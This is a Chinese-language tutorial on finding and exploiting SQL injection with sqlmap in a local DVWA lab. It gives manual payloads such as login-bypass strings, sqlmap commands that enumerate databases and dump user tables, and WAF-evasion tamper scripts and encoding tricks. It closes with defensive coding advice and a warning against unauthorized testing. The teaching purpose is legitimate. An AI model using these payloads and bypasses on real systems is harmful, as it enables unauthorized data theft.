从DVWA到实战:手把手教你用sqlmap进行SQL注入漏洞检测
1. SQL注入漏洞检测入门指南
SQL注入是Web安全测试中最常见的漏洞类型之一。简单来说,攻击者通过在输入字段中插入恶意SQL代码,欺骗数据库执行非预期的命令。这可能导致数据泄露、数据篡改甚至整个系统沦陷。
我第一次接触SQL注入是在五年前的一次内部安全测试中。当时我们的电商网站用户登录页面存在注入漏洞,攻击者只需要在用户名输入框中输入admin' --就能绕过密码验证。这个发现让我意识到,即使是最基础的Web应用也可能存在严重的安全隐患。
DVWA(Damn Vulnerable Web Application)是一个专门设计用于安全测试的PHP/MySQL靶场环境。它包含了从低到高不同安全等级的漏洞场景,是学习Web安全的绝佳平台。而sqlmap则是目前最强大的自动化SQL注入工具,支持六种不同的注入技术,能够检测和利用绝大多数SQL注入漏洞。
2. 搭建DVWA测试环境
2.1 使用Docker快速部署
最方便的DVWA部署方式是使用Docker。以下是具体步骤:
# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器并映射端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa等待容器启动后,在浏览器访问http://localhost:8080。默认登录凭证是:
- 用户名:admin
- 密码:password
2.2 初始化数据库
首次登录后需要点击"Create/Reset Database"按钮初始化数据库。这个过程会:
- 创建必要的数据库表结构
- 插入测试数据
- 设置不同安全等级的安全机制
如果遇到PHP配置错误,可能需要修改两个文件:
# 进入容器内部 docker exec -it dvwa /bin/bash # 修改PHP配置 sed -i 's/allow_url_include = Off/allow_url_include = On/' /etc/php/7.4/apache2/php.ini # 重启Apache服务 service apache2 restart3. 识别SQL注入点
3.1 手动测试基础注入
在DVWA中将安全等级设为"Low",然后进入SQL Injection页面:
- 在输入框尝试输入数字
1,页面返回用户ID为1的信息 - 输入
1'(带单引号),如果页面报错,说明存在SQL注入漏洞 - 进一步测试:
1' OR '1'='1,这应该会返回所有用户数据
3.2 使用开发者工具收集信息
按F12打开开发者工具,切换到Network标签页:
- 提交表单后,找到对应的请求记录
- 复制完整的请求URL,例如:
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit - 在Console标签页执行
document.cookie获取当前会话的Cookie值
4. 使用sqlmap进行自动化检测
4.1 基本扫描命令
首先确保已安装sqlmap:
pip install sqlmap使用收集到的URL和Cookie执行扫描:
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123; security=low" \ --batch参数说明:
-u:指定目标URL--cookie:维持会话所需的Cookie--batch:自动选择默认选项,无需交互
4.2 数据库信息枚举
获取数据库基本信息:
sqlmap -u "URL" --cookie="COOKIE" --banner --current-user --current-db典型输出示例:
[INFO] the back-end DBMS is MySQL banner: '5.7.29-0ubuntu0.18.04.1' current user: 'dvwa@localhost' current database: 'dvwa'4.3 数据提取技术
列出所有数据库:
sqlmap -u "URL" --cookie="COOKIE" --dbs列出指定数据库的表:
sqlmap -u "URL" --cookie="COOKIE" -D dvwa --tables提取表数据:
sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users --dump5. 高级扫描技巧
5.1 风险等级与测试级别
sqlmap提供精细的风险控制:
# 提高测试强度(1-5,默认1) sqlmap --level=3 # 提高风险等级(1-3,默认1) sqlmap --risk=35.2 使用代理观察请求
通过Burp Suite等代理工具观察sqlmap的请求:
sqlmap --proxy="http://127.0.0.1:8080"5.3 绕过WAF防护
针对有WAF保护的目标:
sqlmap --tamper="space2comment,randomcase" --random-agent常用tamper脚本:
space2comment:用/**/替换空格randomcase:随机大小写between:用BETWEEN替换比较符
6. 防御建议
6.1 开发层面的防护
使用参数化查询(Prepared Statements)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id'); $stmt->execute(['id' => $input]);实施最小权限原则,数据库用户只赋予必要权限
对所有用户输入进行严格过滤和转义
6.2 运维层面的防护
定期更新数据库和Web服务器补丁
部署WAF(Web应用防火墙)
启用数据库审计日志
7. 实战经验分享
在实际测试中,我发现几个常见问题:
当sqlmap报告注入存在但无法利用时,尝试添加
--technique=B指定使用布尔盲注对于时间型盲注,使用
--time-sec=5增加延迟时间可以提高成功率遇到复杂JSON接口时,使用
--data='{"id":1}' --headers="Content-Type: application/json"
记得在一次企业测试中,目标网站对单引号做了过滤,但通过编码%EF%BC%87(全角单引号)成功绕过了防护。这种经验告诉我,永远不要假设一种防护措施就能解决所有问题。
最后强调一点:未经授权的测试是违法行为。所有测试都应在获得明确授权的前提下进行,建议使用像DVWA这样的合法靶场环境来练习技术。
